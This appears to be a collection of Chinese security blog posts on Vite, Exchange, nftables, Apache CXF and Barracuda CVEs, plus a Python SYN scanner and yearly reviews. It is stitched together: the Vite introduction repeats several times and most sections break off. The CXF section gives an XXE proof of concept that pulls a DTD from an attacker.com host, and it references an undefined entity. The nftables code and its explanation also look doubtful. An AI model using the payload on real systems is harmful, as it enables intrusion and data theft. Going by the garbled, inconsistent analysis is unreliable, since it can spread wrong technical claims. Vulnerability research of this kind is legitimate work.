前言 最近几个月，项目收尾和安全评估工作接踵而至，导致博客更新未能如期进行。直到近期稍有空闲，才得以整理这段时间的技术观察。2025 年初，前端开发工具 Vite 及其相关生态接连爆出多起高危漏洞，包括 CVE-2025-30208、CVE-2025-31125、CVE-2025-31486，以及 Vitest 的 CVE-2025-24964。这些漏洞暴露了前端开发工具在配置安全上的盲点，也为深入分析现代 Web 开发工具安全机制提供了案例。本文将从技术角度剖析这几起漏洞，解析其原理、利用方式和实际防御措施。

一、Vite 漏洞背景与共性分析 Vite 作为主流前端构建工具，凭借原生 ES 模块支持和高效的热模块替换（HMR）功能，广泛应用于 Vue、React 等框架的开发中。然而，Vite 的开发服务器（Dev Server）设计初衷是为本地开发环境优化，缺乏严格的访问控制和路径验证机制，这构成了近期漏洞的共性根源。以下几起漏洞均与开发服务器暴露于网络环境（通过 –host 或 server.host 配置）相关，攻击者可通过精心构造的请求绕过安全限制或执行恶意代码。

共性问题

路径验证不足：Vite 开发服务器处理 URL 请求时，未对路径进行严格规范化，允许攻击者通过特殊参数或路径穿越绕过限制。 网络暴露风险：默认情况下，Vite 开发服务器仅监听本地，但开发者常通过 –host 或 server.host 暴露至外部网络，扩大了攻击面。 查询参数处理缺陷：Vite 对特定查询参数的处理存在漏洞，导致文件访问控制失效。

接下来，我将逐一分析这几起漏洞的技术细节。

二、CVE-2025-30208：任意文件读取漏洞 漏洞概述 CVE-2025-30208 是 Vite 开发服务器中的一处文件读取漏洞，允许攻击者在特定条件下通过构造特殊 URL 绕过文件访问限制，读取项目根目录外的任意文件。影响版本包括 Vite 0.0.0 至 6.2.2（修复版本为 6.2.3 及以上）。该漏洞于 2025 年 3 月 24 日公开，CVSS 分数为 7.5，PoC 已公开。

漏洞原理 Vite 开发服务器通过 @fs 前缀限制对项目根目录外的文件访问。但攻击者可通过在 URL 中附加 ?raw 或 ?import&raw 参数，绕过这一限制。根本原因在于 Vite 的查询参数解析逻辑存在缺陷，导致正则表达式未能有效验证请求路径。

好久没更新了，博客还是得写点东西，不然感觉像是荒废了。不过写博客这事，还是随缘，毕竟日常事情够多的，没必要硬凑内容。

这一阵子主要在搞漏洞复现和一些技术积累，趁着空闲整理下笔记，顺便聊聊最近遇到的一些有意思的东西。

近期的安全研究

1. CVE-2023-2868：邮件安全网关远程命令执行漏洞

前段时间研究了一下 CVE-2023-2868，这是一个 Barracuda Email Security Gateway（ESG）上的 RCE 漏洞。官方 CVSS 评分 9.8，基本上是“不能不修”的级别。

这个漏洞本质上是对 TAR 格式解析的处理不当，导致攻击者可以构造特定的压缩包，在解析时触发远程命令执行。这个漏洞比较麻烦的一点是，它早在 2022 年 10 月就被 APT 组织利用了，而 Barracuda 直到 2023 年 5 月才公开披露，等于白送攻击者大半年时间。

漏洞复现过程就不细讲了，核心点在于：

1. 需要找到一个受影响版本的 ESG 设备（虚拟环境搭建不算难，但环境获取相对麻烦）。
2. 发送特制的 TAR 附件，利用 ESG 解析过程中的漏洞执行任意命令。
3. 观察服务器端返回情况，确认成功 RCE。

Barracuda 官方建议是尽快升级，但考虑到 APT 组织长期利用的可能性，真正的解决方案其实是直接换设备，因为攻击者可能早就植入了后门。补丁能修漏洞，但不能抹掉入侵历史。

2. 某些老旧 Web 框架的安全问题

最近看了一些老项目，发现很多仍然在用老旧的 Web 框架，有的甚至是 2016 年左右的代码，安全性堪忧：

• Spring 早期版本的 Actuator 接口暴露问题
  /actuator/env、/actuator/configprops 这些接口在很多老项目里默认是开放的，一些开发者甚至没有权限控制机制，直接导致环境变量和应用配置泄露。
• Shiro 反序列化漏洞
  还见到有些项目用的 Shiro 版本很老，rememberMe 反序列化漏洞依然存在，虽然 Shiro 早就修了，但这些项目压根没升级。

有时候搞这些老项目，比分析 0day 还麻烦，因为很多代码根本没文档，甚至得靠翻源码才能搞清楚逻辑。更别提修复了，动一块就容易牵扯一大片。

前言 最近几个月，项目收尾和安全评估工作接踵而至，导致博客更新未能如期进行。直到近期稍有空闲，才得以整理这段时间的技术观察。2025 年初，前端开发工具 Vite 及其相关生态接连爆出多起高危漏洞，包括 CVE-2025-30208、CVE-2025-31125、CVE-2025-31486，以及 Vitest 的 CVE-2025-24964。这些漏洞暴露了前端开发工具在配置安全上的盲点，也为深入分析现代 Web 开发工具安全机制提供了案例。本文将从技术角度剖析这几起漏洞，解析其原理、利用方式和实际防御措施。

一、Vite 漏洞背景与共性分析 Vite 作为主流前端构建工具，凭借原生 ES 模块支持和高效的热模块替换（HMR）功能，广泛应用于 Vue、React 等框架的开发中。然而，Vite 的开发服务器（Dev Server）设计初衷是为本地开发环境优化，缺乏严格的访问控制和路径验证机制，这构成了近期漏洞的共性根源。以下几起漏洞均与开发服务器暴露于网络环境（通过 –host 或 server.host 配置）相关，攻击者可通过精心构造的请求绕过安全限制或执行恶意代码。

共性问题

路径验证不足：Vite 开发服务器处理 URL 请求时，未对路径进行严格规范化，允许攻击者通过特殊参数或路径穿越绕过限制。 网络暴露风险：默认情况下，Vite 开发服务器仅监听本地，但开发者常通过 –host 或 server.host 暴露至外部网络，扩大了攻击面。 查询参数处理缺陷：Vite 对特定查询参数的处理存在漏洞，导致文件访问控制失效。

接下来，我将逐一分析这几起漏洞的技术细节。

二、CVE-2025-30208：任意文件读取漏洞 漏洞概述 CVE-2025-30208 是 Vite 开发服务器中的一处文件读取漏洞，允许攻击者在特定条件下通过构造特殊 URL 绕过文件访问限制，读取项目根目录外的任意文件。影响版本包括 Vite 0.0.0 至 6.2.2（修复版本为 6.2.3 及以上）。该漏洞于 2025 年 3 月 24 日公开，CVSS 分数为 7.5，PoC 已公开。

漏洞原理 Vite 开发服务器通过 @fs 前缀限制对项目根目录外的文件访问。但攻击者可通过在 URL 中附加 ?raw 或 ?import&raw 参数，绕过这一限制。根本原因在于 Vite 的查询参数解析逻辑存在缺陷，导致正则表达式未能有效验证请求路径。

前言 最近几个月，项目收尾和安全评估工作接踵而至，导致博客更新未能如期进行。直到近期稍有空闲，才得以整理这段时间的技术观察。2025 年初，前端开发工具 Vite 及其相关生态接连爆出多起高危漏洞，包括 CVE-2025-30208、CVE-2025-31125、CVE-2025-31486，以及 Vitest 的 CVE-2025-24964。这些漏洞暴露了前端开发工具在配置安全上的盲点，也为深入分析现代 Web 开发工具安全机制提供了案例。本文将从技术角度剖析这几起漏洞，解析其原理、利用方式和实际防御措施。

一、Vite 漏洞背景与共性分析 Vite 作为主流前端构建工具，凭借原生 ES 模块支持和高效的热模块替换（HMR）功能，广泛应用于 Vue、React 等框架的开发中。然而，Vite 的开发服务器（Dev Server）设计初衷是为本地开发环境优化，缺乏严格的访问控制和路径验证机制，这构成了近期漏洞的共性根源。以下几起漏洞均与开发服务器暴露于网络环境（通过 –host 或 server.host 配置）相关，攻击者可通过精心构造的请求绕过安全限制或执行恶意代码。

共性问题

路径验证不足：Vite 开发服务器处理 URL 请求时，未对路径进行严格规范化，允许攻击者通过特殊参数或路径穿越绕过限制。 网络暴露风险：默认情况下，Vite 开发服务器仅监听本地，但开发者常通过 –host 或 server.host 暴露至外部网络，扩大了攻击面。 查询参数处理缺陷：Vite 对特定查询参数的处理存在漏洞，导致文件访问控制失效。

接下来，我将逐一分析这几起漏洞的技术细节。

二、CVE-2025-30208：任意文件读取漏洞 漏洞概述 CVE-2025-30208 是 Vite 开发服务器中的一处文件读取漏洞，允许攻击者在特定条件下通过构造特殊 URL 绕过文件访问限制，读取项目根目录外的任意文件。影响版本包括 Vite 0.0.0 至 6.2.2（修复版本为 6.2.3 及以上）。该漏洞于 2025 年 3 月 24 日公开，CVSS 分数为 7.5，PoC 已公开。

漏洞原理 Vite 开发服务器通过 @fs 前缀限制对项目根目录外的文件访问。但攻击者可通过在 URL 中附加 ?raw 或 ?import&raw 参数，绕过这一限制。根本原因在于 Vite 的查询参数解析逻辑存在缺陷，导致正则表达式未能有效验证请求路径。

前言 最近几个月，项目收尾和安全评估工作接踵而至，导致博客更新未能如期进行。直到近期稍有空闲，才得以整理这段时间的技术观察。2025 年初，前端开发工具 Vite 及其相关生态接连爆出多起高危漏洞，包括 CVE-2025-30208、CVE-2025-31125、CVE-2025-31486，以及 Vitest 的 CVE-2025-24964。这些漏洞暴露了前端开发工具在配置安全上的盲点，也为深入分析现代 Web 开发工具安全机制提供了案例。本文将从技术角度剖析这几起漏洞，解析其原理、利用方式和实际防御措施。

一、Vite 漏洞背景与共性分析 Vite 作为主流前端构建工具，凭借原生 ES 模块支持和高效的热模块替换（HMR）功能，广泛应用于 Vue、React 等框架的开发中。然而，Vite 的开发服务器（Dev Server）设计初衷是为本地开发环境优化，缺乏严格的访问控制和路径验证机制，这构成了近期漏洞的共性根源。以下几起漏洞均与开发服务器暴露于网络环境（通过 –host 或 server.host 配置）相关，攻击者可通过精心构造的请求绕过安全限制或执行恶意代码。

共性问题

路径验证不足：Vite 开发服务器处理 URL 请求时，未对路径进行严格规范化，允许攻击者通过特殊参数或路径穿越绕过限制。 网络暴露风险：默认情况下，Vite 开发服务器仅监听本地，但开发者常通过 –host 或 server.host 暴露至外部网络，扩大了攻击面。 查询参数处理缺陷：Vite 对特定查询参数的处理存在漏洞，导致文件访问控制失效。

接下来，我将逐一分析这几起漏洞的技术细节。

二、CVE-2025-30208：任意文件读取漏洞 漏洞概述 CVE-2025-30208 是 Vite 开发服务器中的一处文件读取漏洞，允许攻击者在特定条件下通过构造特殊 URL 绕过文件访问限制，读取项目根目录外的任意文件。影响版本包括 Vite 0.0.0 至 6.2.2（修复版本为 6.2.3 及以上）。该漏洞于 2025 年 3 月 24 日公开，CVSS 分数为 7.5，PoC 已公开。

漏洞原理 Vite 开发服务器通过 @fs 前缀限制对项目根目录外的文件访问。但攻击者可通过在 URL 中附加 ?raw 或 ?import&raw 参数，绕过这一限制。根本原因在于 Vite 的查询参数解析逻辑存在缺陷，导致正则表达式未能有效验证请求路径。

1. 漏洞概述：CVE-2024-21410 Exchange Server 特权提升

CVE-2024-21410 是 Microsoft Exchange Server 在 2024 年 2 月安全更新中修复的一个严重特权提升漏洞。该漏洞被标记为 0day 漏洞，并且微软已确认该漏洞 已被在野利用，风险等级极高。

漏洞编号 (CVE): CVE-2024-21410

漏洞类型: 特权提升

受影响组件: Microsoft Exchange Server

严重程度: 严重

利用条件: 攻击者需要能够捕获到用户泄露的 Net-NTLMv2 哈希，并将该哈希中继到易受攻击的 Exchange Server。

漏洞危害: 成功利用此漏洞的攻击者，可以将捕获到的 Net-NTLMv2 哈希中继到 Exchange Server，并 以被中继用户的身份通过身份验证，从而获得与该用户相同的权限，可能导致敏感信息泄露、越权操作等严重安全风险。

2. 漏洞原理分析：NTLM 中继攻击与 Exchange Server

CVE-2024-21410 漏洞的核心在于 NTLM 中继攻击 (NTLM Relay Attack) 在 Microsoft Exchange Server 环境中的利用。要理解此漏洞，需要先了解 NTLM 认证机制和 NTLM 中继攻击的原理。

2.1 NTLM 认证机制简介

NTLM (NT LAN Manager) 是一种 Windows 操作系统中常用的身份验证协议。在 NTLM 认证过程中，客户端需要向服务器证明自己的身份，而无需直接发送明文密码。 NTLMv2 是 NTLM 的增强版本，安全性相对更高，但仍然存在被中继攻击的风险。

最近研究了 CVE-2023-32233，这是一个影响 Linux 6.3 及之前版本 的 UAF（Use-After-Free） 漏洞。由于 nftables 近年来已经成为 Linux 的主要防火墙组件，因此该漏洞的影响范围较广，攻击者可以利用它在 CAP_NET_ADMIN 权限下提权至 root。

1. 漏洞背景

1.1 Netfilter 与 nftables 简介

Netfilter 是 Linux 内核防火墙的核心组件，而 nftables 作为 iptables 的替代方案，被广泛应用于防火墙、流量过滤和 NAT 规则管理。

该漏洞出现在 nftables 代码逻辑中，攻击者可以通过 UAF 访问已释放的 nft_set_elem 结构，导致堆内存覆盖，最终实现提权。

1.2 影响范围

受影响的内核版本：

• Linux 5.13 - 6.3
• Ubuntu 22.04、Debian 11、Arch Linux、Fedora 37 等默认开启 nftables 的系统

2. 漏洞分析

2.1 代码成因

漏洞的核心问题在于 nft_set_elem 结构释放后，仍然被访问：

static void nft_setelem_activate(const struct nft_ctx *ctx,
				 struct nft_set *set,
				 struct nft_set_elem *elem)
{
	if (nft_set_elem_is_active(set, elem))
		return;

	elem->priv = nft_trans_elem(ctx->tx);
}

在 nft_setelem_activate() 中，elem->priv 被赋值为 nft_trans_elem(ctx->tx)，但 elem 可能已经被释放，这样攻击者就能劫持 priv 指针，导致UAF 访问。

好久没更新了，博客还是得写点东西，不然感觉像是荒废了。不过写博客这事，还是随缘，毕竟日常事情够多的，没必要硬凑内容。

这一阵子主要在搞漏洞复现和一些技术积累，趁着空闲整理下笔记，顺便聊聊最近遇到的一些有意思的东西。

近期的安全研究

1. CVE-2023-2868：邮件安全网关远程命令执行漏洞

前段时间研究了一下 CVE-2023-2868，这是一个 Barracuda Email Security Gateway（ESG）上的 RCE 漏洞。官方 CVSS 评分 9.8，基本上是“不能不修”的级别。

这个漏洞本质上是对 TAR 格式解析的处理不当，导致攻击者可以构造特定的压缩包，在解析时触发远程命令执行。这个漏洞比较麻烦的一点是，它早在 2022 年 10 月就被 APT 组织利用了，而 Barracuda 直到 2023 年 5 月才公开披露，等于白送攻击者大半年时间。

漏洞复现过程就不细讲了，核心点在于：

1. 需要找到一个受影响版本的 ESG 设备（虚拟环境搭建不算难，但环境获取相对麻烦）。
2. 发送特制的 TAR 附件，利用 ESG 解析过程中的漏洞执行任意命令。
3. 观察服务器端返回情况，确认成功 RCE。

Barracuda 官方建议是尽快升级，但考虑到 APT 组织长期利用的可能性，真正的解决方案其实是直接换设备，因为攻击者可能早就植入了后门。补丁能修漏洞，但不能抹掉入侵历史。

2. 某些老旧 Web 框架的安全问题

最近看了一些老项目，发现很多仍然在用老旧的 Web 框架，有的甚至是 2016 年左右的代码，安全性堪忧：

• Spring 早期版本的 Actuator 接口暴露问题
  /actuator/env、/actuator/configprops 这些接口在很多老项目里默认是开放的，一些开发者甚至没有权限控制机制，直接导致环境变量和应用配置泄露。
• Shiro 反序列化漏洞
  还见到有些项目用的 Shiro 版本很老，rememberMe 反序列化漏洞依然存在，虽然 Shiro 早就修了，但这些项目压根没升级。

有时候搞这些老项目，比分析 0day 还麻烦，因为很多代码根本没文档，甚至得靠翻源码才能搞清楚逻辑。更别提修复了，动一块就容易牵扯一大片。

春节假期结束，收拾心情重新投入到工作中。趁着年后这段时间，深入研究了一下Apache CXF最近爆出的CVE-2022-46363漏洞，这里跟大家分享下我的分析过程。

漏洞概述

• CVE编号: CVE-2022-46363
• 影响版本:
  • Apache CXF < 3.4.10
  • Apache CXF 3.5.0 到 3.5.4
• CVSS评分: 7.5 (高危)
• 漏洞类型: 远程代码执行

漏洞原理分析

这个漏洞存在于CXF的WADL到Java代码生成工具中。具体来说，是在处理WADL文档中的resource元素时，对外部实体引用(XXE)的处理不当。

关键代码片段：

public class WADLToJavaProcessor {
    private void processResources(Resources resources) {
        for (Resource r : resources.getResource()) {
            // 这里直接处理外部资源,没有做足够的安全检查
            String path = r.getPath();
            processResource(path);
        }
    }
}

漏洞触发条件

1. WADL文档中包含恶意的外部实体引用
2. 服务器启用了WADL生成功能
3. 攻击者能够控制WADL文档的输入

漏洞复现

1. 环境搭建

<!-- pom.xml -->
<dependency>
    <groupId>org.apache.cxf</groupId>
    <artifactId>cxf-rt-frontend-jaxrs</artifactId>
    <version>3.4.9</version>
</dependency>

2. 构造POC

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
    %remote;
]>
<application xmlns="http://wadl.dev.java.net/2009/02">
    <resources base="http://example.com/">
        <resource path="test">
            &xxe;
        </resource>
    </resources>
</application>

3. 验证过程

1. 启动包含漏洞版本的CXF服务
2. 发送构造的WADL文档
3. 观察服务器响应和日志

修复方案

1. 官方修复方案：

前言 最近几个月，项目收尾和安全评估工作接踵而至，导致博客更新未能如期进行。直到近期稍有空闲，才得以整理这段时间的技术观察。2025 年初，前端开发工具 Vite 及其相关生态接连爆出多起高危漏洞，包括 CVE-2025-30208、CVE-2025-31125、CVE-2025-31486，以及 Vitest 的 CVE-2025-24964。这些漏洞暴露了前端开发工具在配置安全上的盲点，也为深入分析现代 Web 开发工具安全机制提供了案例。本文将从技术角度剖析这几起漏洞，解析其原理、利用方式和实际防御措施。

一、Vite 漏洞背景与共性分析 Vite 作为主流前端构建工具，凭借原生 ES 模块支持和高效的热模块替换（HMR）功能，广泛应用于 Vue、React 等框架的开发中。然而，Vite 的开发服务器（Dev Server）设计初衷是为本地开发环境优化，缺乏严格的访问控制和路径验证机制，这构成了近期漏洞的共性根源。以下几起漏洞均与开发服务器暴露于网络环境（通过 –host 或 server.host 配置）相关，攻击者可通过精心构造的请求绕过安全限制或执行恶意代码。

共性问题

路径验证不足：Vite 开发服务器处理 URL 请求时，未对路径进行严格规范化，允许攻击者通过特殊参数或路径穿越绕过限制。 网络暴露风险：默认情况下，Vite 开发服务器仅监听本地，但开发者常通过 –host 或 server.host 暴露至外部网络，扩大了攻击面。 查询参数处理缺陷：Vite 对特定查询参数的处理存在漏洞，导致文件访问控制失效。

接下来，我将逐一分析这几起漏洞的技术细节。

二、CVE-2025-30208：任意文件读取漏洞 漏洞概述 CVE-2025-30208 是 Vite 开发服务器中的一处文件读取漏洞，允许攻击者在特定条件下通过构造特殊 URL 绕过文件访问限制，读取项目根目录外的任意文件。影响版本包括 Vite 0.0.0 至 6.2.2（修复版本为 6.2.3 及以上）。该漏洞于 2025 年 3 月 24 日公开，CVSS 分数为 7.5，PoC 已公开。

漏洞原理 Vite 开发服务器通过 @fs 前缀限制对项目根目录外的文件访问。但攻击者可通过在 URL 中附加 ?raw 或 ?import&raw 参数，绕过这一限制。根本原因在于 Vite 的查询参数解析逻辑存在缺陷，导致正则表达式未能有效验证请求路径。

时光荏苒，转眼又至岁末。回首 2024 年，于我而言是深耕细作，稳步前行的一年。在技术领域，我依然保持着持续学习和实践的热情，虽然受到时间等客观因素的限制，未能如往年般在技术广度上大幅拓展，但却在特定方向进行了更为深入的探索与积累，也因此对自身的技术体系有了更深层次的理解和认知。

在技术成长方面，漏洞分析与复现依然是今年的重点之一。我将较多精力投入到 CVE-2024-21410 Microsoft Exchange Server 特权提升漏洞 的深入研究之中。通过研读漏洞细节，进行复现验证，并撰写深度技术分析文章，我不仅提升了漏洞原理的剖析能力，更在实战复现中锤炼了技术细节的把控。 与此同时，我也对 NTLM 中继攻击的原理及其防御方法进行了系统学习，加深了对域安全和认证机制漏洞的理解，这无疑为未来更深层次的漏洞挖掘与利用奠定了基础。 安全工具开发是今年技术实践的另一重点。我尝试自制 Python SYN 扫描器，并对服务指纹识别功能进行了初步探索。 从零开始构建工具的过程，让我对网络扫描器的核心原理有了更直观的认识，也进一步提升了 Python 编程和安全工具开发能力。 虽然成果尚显稚嫩，但这无疑是迈向更高级安全工具开发的重要一步。 当然，在技术深耕的同时，我也未曾懈怠对前沿技术的关注。 云安全、AI 安全、代码审计等领域依然是我持续学习和探索的方向，虽然今年投入时间相对有限，但我相信这些前沿技术将在未来工作中发挥越来越重要的作用。 需要坦诚说明的是，由于时间分配的原因，2024 年度我个人的技术文章输出相对较少，仅完成了两篇，这其中既有客观原因，也有主观努力不足之处，实需反思改进。

在实践回顾方面，撰写技术文章是今年重要的实践形式。 我完成了 《CVE-2024-21410：Microsoft Exchange Server 特权提升漏洞深度分析与缓解》 以及 《深入现代网络扫描器原理与实践：自制 Python SYN 扫描器与服务指纹识别》 两篇技术文章。 文章撰写的过程，不仅仅是对技术知识的简单罗列，更是一个系统性梳理、深度思考和凝练表达的过程。 通过撰写文章，我将零散的知识点串联成完整的知识体系，并锻炼了技术总结和对外分享的能力，这对于个人技术品牌的建立和技术影响力的提升都至关重要。

回顾 2024 年的经验与反思，我认为，技术深度与广度的平衡 依然是未来需要长期关注的重点。 在信息安全领域，技术的广度固然重要，它决定了我们知识面的覆盖范围；但技术深度则更为关键，它决定了我们解决复杂问题的能力和核心竞争力。 因此，未来在保持技术广度探索的同时，我需要更加注重技术深度的挖掘，力求在特定领域形成自己的技术专长。 实践是提升技术的永恒真理。 纸上得来终觉浅，绝知此事要躬行。 只有将理论知识应用于实际场景，不断进行实践和验证，才能真正掌握技术，并将知识转化为解决实际安全问题的能力。 此外，时间管理与效率提升 也将是我未来需要持续改进的方面。 如何更合理地规划时间，更高效地利用时间，在有限的时间内完成更多的技术探索和知识沉淀，将直接关系到未来的技术成长速度和发展潜力。

展望 2025 年，我希望在以下几个方面有所突破和提升。 首先，继续扩展技术广度与深度。 在持续关注云原生安全、AI 安全、代码审计等前沿技术的基础上，尝试拓展安全领域的其他方向，例如物联网安全、工控安全等，以构建更全面的技术知识体系。 其次，加强工具开发与实战应用。 在今年 Python 扫描器实践的基础上，继续扩展更多扫描功能和漏洞检测模块，提升工具的实用性。 同时，我也希望尝试开发其他类型的安全工具，例如漏洞利用工具、渗透测试辅助工具等，将技术知识应用于实战场景。 第三，持续提升知识沉淀与输出。 继续坚持技术知识沉淀的良好习惯，撰写更多高质量技术博客，积极参与技术社区交流，分享研究成果和实践经验，力争在技术领域发出自己的声音，贡献自己的力量。

总结 2024 年，可以用“深耕细作，蓄势待发”八个字来概括。 虽然文章产出不多，但技术积累和沉淀是稳步提升的。 展望 2025 年，我将继续保持对技术的热情和追求，不断拓展技术边界，迎接新的挑战，力争在信息安全领域做出更大的贡献。

1. 引言：现代网络扫描器的重要性

网络扫描器是安全工作中基础且强大的工具。理解现代扫描器技术，能更好应对网络安全挑战。现代扫描器需具备：高速扫描、精准识别、深度检测、规避检测、灵活扩展等特性。

本文将剖析现代扫描器原理，并实践自制 Python SYN 扫描器和服务指纹识别，助您理解底层技术，提升安全工具开发技能。

2. 现代网络扫描器架构与核心原理

现代扫描器是复杂系统，核心架构包括：扫描引擎、服务指纹识别模块、漏洞检测模块、任务管理、配置管理、用户界面、数据存储等组件。

2.1 核心扫描技术：SYN 扫描

原理: SYN 扫描利用 TCP 三次握手，只发 SYN 包，不完成三次握手。

• 扫描过程: 发送 SYN 包 -> 收 SYN-ACK (开放) 或 RST (关闭)。

• 优势: 快速、隐蔽、准确。

• 代码实现 (Python Raw Socket):

  import socket
  import struct
  import time
  import random
  import array
  
  def syn_scan_port(target_ip, port):
      """SYN 扫描单个端口"""
      try:
          #  创建 Raw Socket
          raw_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
          raw_socket.settimeout(2)
  
          #  构造 IP 头部
          ip_header = struct.pack('!BBHHHBBHLL', 0x45, 0, 20+20, random.randint(1, 65535), 0, 64, socket.IPPROTO_TCP, 0, socket.inet_aton('192.168.1.102'), socket.inet_aton(target_ip))
  
          #  构造 TCP 头部
          tcp_header = struct.pack('!HHLLBBHHH', random.randint(1024, 65535), port, 0, 0, 5 << 4 | 0, 0, 0, 0, 0)
          tcp_syn_flags = 0x02
          tcp_header_list = list(struct.unpack('!HHLLBBHHH', tcp_header))
          tcp_header_list[4] = (tcp_header_list[4] | tcp_syn_flags)
          tcp_header = struct.pack('!HHLLBBHHH', *tcp_header_list)
  
          #  计算校验和
          ip_checksum = calculate_checksum(ip_header)
          ip_header = ip_header[:10] + struct.pack('!H', ip_checksum) + ip_header[12:]
          pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton('192.168.1.102'), socket.inet_aton(target_ip), 0, socket.IPPROTO_TCP, len(tcp_header))
          tcp_checksum = calculate_checksum(pseudo_header + tcp_header)
          tcp_header = tcp_header[:16] + struct.pack('!H', tcp_checksum) + tcp_header[18:]
  
          #  发送 SYN 数据包
          packet = ip_header + tcp_header
          raw_socket.sendto(packet, (target_ip, port))
  
          #  接收响应
          recv_packet = raw_socket.recvfrom(65535)
          ip_header_reply = recv_packet[0][0:20]
          ip_header_unpack = struct.unpack('!BBHHHBBHLL', ip_header_reply)
          ip_protocol_reply = ip_header_unpack[6]
          tcp_header_reply = recv_packet[0][ip_header_unpack[2]:ip_header_unpack[2]+20]
          tcp_header_unpack_reply = struct.unpack('!HHLLBBHHH', tcp_header_reply)
          tcp_flags_reply = tcp_header_unpack_reply[5]
  
          # 判断端口状态
          if tcp_flags_reply & 0x12 == 0x12:
              return "open"
          elif tcp_flags_reply & 0x14 == 0x14:
              return "closed"
          else:
              return "filtered"
  
      except socket.timeout:
          return "filtered"
      except socket.error:
          return "error"
      finally:
          if 'raw_socket' in locals():
              raw_socket.close()
  
  def calculate_checksum(packet):
      """计算 IP/TCP 头部校验和"""
      if len(packet) % 2 != 0:
          packet += b'\0'
      res = sum(array.unpack("!H", packet[i:i+2])[0] for i in range(0, len(packet), 2))
      res = (res >> 16) + (res & 0xffff)
      res += res >> 16
      return (~res) & 0xffff
  

2.2 服务指纹识别技术 (HTTP 服务为例)

服务指纹识别旨在识别服务类型和版本。常用技术包括 Banner Grabbing、协议分析、应用层探测，并依赖服务指纹数据库。

1. 技术成长

• 云原生安全

  • 深入研究云安全架构演进、容器安全运行时、Serverless 安全风险与防护。
  • 分析云原生安全案例，提升复杂云环境威胁研判能力。
  • 主导参与云安全体系升级，优化云安全配置管理规范。

• 代码审计

  • 代码审计能力提升，掌握多种静态分析工具和动态污点追踪技术。
  • 通过代码审计，提前发现并推动修复业务系统潜在安全漏洞。

• AI 安全

  • 学习 AI 安全对抗基础理论，探索 AI 模型安全、对抗样本、AI 安全应用。

2. 实践回顾

• 安全工具流程优化

  • 牵头改进内部漏洞管理流程，开发辅助脚本提升漏洞跟踪、修复、验证效率。

• 高危漏洞挖掘与缓解

  • 成功挖掘并验证高危漏洞，协同团队制定缓解方案降低业务风险。

• 技术知识沉淀与分享

  • 撰写技术博文，涵盖云安全、容器安全、渗透测试、漏洞分析等主题，促进团队知识共享。

• 安全管理实践探索

  • 学习信息安全管理体系知识，应用于实际工作提升安全规范性和有效性。

• 威胁情报驱动的安全防御

  • 参与威胁情报平台运营优化，负责威胁情报分析研判应用，提升主动安全防御能力。

• 实战应急响应演练

  • 参与安全事件应急响应处置，锤炼实战应急响应技能。

3. 经验与反思

1. 安全架构的演进与适应性: 需关注云原生、零信任等新兴安全架构，结合业务场景探索实践。
2. 安全运营的自动化与智能化: 亟需引入自动化、智能化技术构建智能安全运营中心，提升效率。
3. 知识体系的构建与深化: 需系统化构建知识体系，注重理论与实践结合，提升核心竞争力。

4. 2024 年的展望

1. 聚焦核心技术纵深

   • 深入研究 Serverless 安全运行时环境机制。
   • 精进代码审计技能，研究 AI 辅助代码审计技术。
   • 跟踪 AI 安全前沿攻防技术，探索 AI 在安全领域的应用。

2. 强化实战能力锤炼

   • 参与大型安全项目架构设计与实施，提升复杂项目落地能力。
   • 深度参与红蓝对抗演练，提升实战攻防和应急响应能力。
   • 进行技术知识沉淀，撰写高质量技术博客分享研究成果。

3. 拓展专业视野格局

   • 学习云安全最佳实践，掌握云原生安全架构设计原则。
   • 深入研究威胁建模与风险评估方法论，提升风险识别和安全左移能力。
   • 加强 SOAR 技术学习与应用探索，调研 SOAR 平台在安全运营中心的实践。

5. 结语

2023 年稳扎稳打，厚积薄发。 2024 年将继续深耕技术，拓展视野，迎接挑战，力争在安全领域做出更大贡献。

1. 导言：OpenWrt 与 WireGuard 的应用价值

OpenWrt 作为一款功能丰富的 Linux 发行版，常被应用于路由器设备，赋予其高度的定制化能力。在构建安全网络环境方面，OpenWrt 亦能发挥重要作用。WireGuard，作为一种新兴的 VPN 协议，以其效率、安全性和相对简易的配置，受到越来越多的关注。

在 OpenWrt 路由器上部署 WireGuard VPN 服务器，可以将两者的优势相结合，为用户提供一种可行的远程访问和数据加密方案。本文将对 OpenWrt 上 WireGuard VPN 服务器的配置过程进行探讨，并对性能优化方面进行一些分析。

2. WireGuard 在 OpenWrt 中的应用优势

选择在 OpenWrt 上部署 WireGuard VPN 服务器，可能具备以下几点优势：

• 性能表现: WireGuard 协议在性能方面通常表现良好，其加密算法和内核实现均较为高效，相较于部分传统 VPN 协议，或能在吞吐量和延迟方面提供更优的结果，这在资源相对有限的路由器设备上可能更具优势。
• 安全性: WireGuard 采用了现代加密技术，理论上具备较高的安全强度，能够为数据传输提供安全保障。
• 配置相对简洁: WireGuard 的配置相较于某些 VPN 协议，通常更为简洁，配置参数较少，或能降低配置复杂度和出错概率。
• OpenWrt 的集成: OpenWrt 官方固件对 WireGuard 提供了较好的支持，内核模块和用户工具均可在 OpenWrt 软件包仓库中获取，安装和配置较为便利。
• OpenWrt 的可扩展性: OpenWrt 系统本身具备较高的灵活性，用户可以根据实际需求对 WireGuard 进行定制配置，并能与 OpenWrt 提供的其他功能模块协同工作，构建功能相对完善的 VPN 网关。

3. 环境准备：OpenWrt 路由器与必要条件

在开始配置 WireGuard VPN 服务器之前，请确保已满足以下条件：

又到了年末，回顾这一年，经历了不少，也收获了很多。作为一名安全工程师，今年在技术上有了不少突破，同时也更清晰地认识到了自己的不足。

技术成长

今年主要在以下几个方面有了深入：

1. 容器安全

   • 深入研究了Docker和K8s的安全机制
   • 完成了几个容器逃逸漏洞的分析复现
   • 参与编写了公司容器安全基线

2. 渗透测试

   • 重点突破了Web应用安全测试
   • 掌握了几个不错的自动化工具
   • 完成了3个重要项目的渗透测试

3. 安全架构

   • 设计并实施了一套完整的堡垒机方案
   • 优化了公司的WAF规则配置
   • 建立了比较完善的资产管理系统

踩过的坑

说实话今年也踩了不少坑：

1. 一开始在做安全架构时，过分追求"完美"方案，结果方案太重太复杂，实施起来困难重重。后来明白了，安全和业务的平衡才是关键。

2. 在做渗透测试时，有次太依赖工具了，错过了一些需要手工测试才能发现的漏洞。这件事让我重新思考了自动化与手工测试的平衡。

明年的计划

展望2023年，给自己定了几个目标：

1. 技术深化

   • 深入研究云原生安全
   • 提升代码审计能力
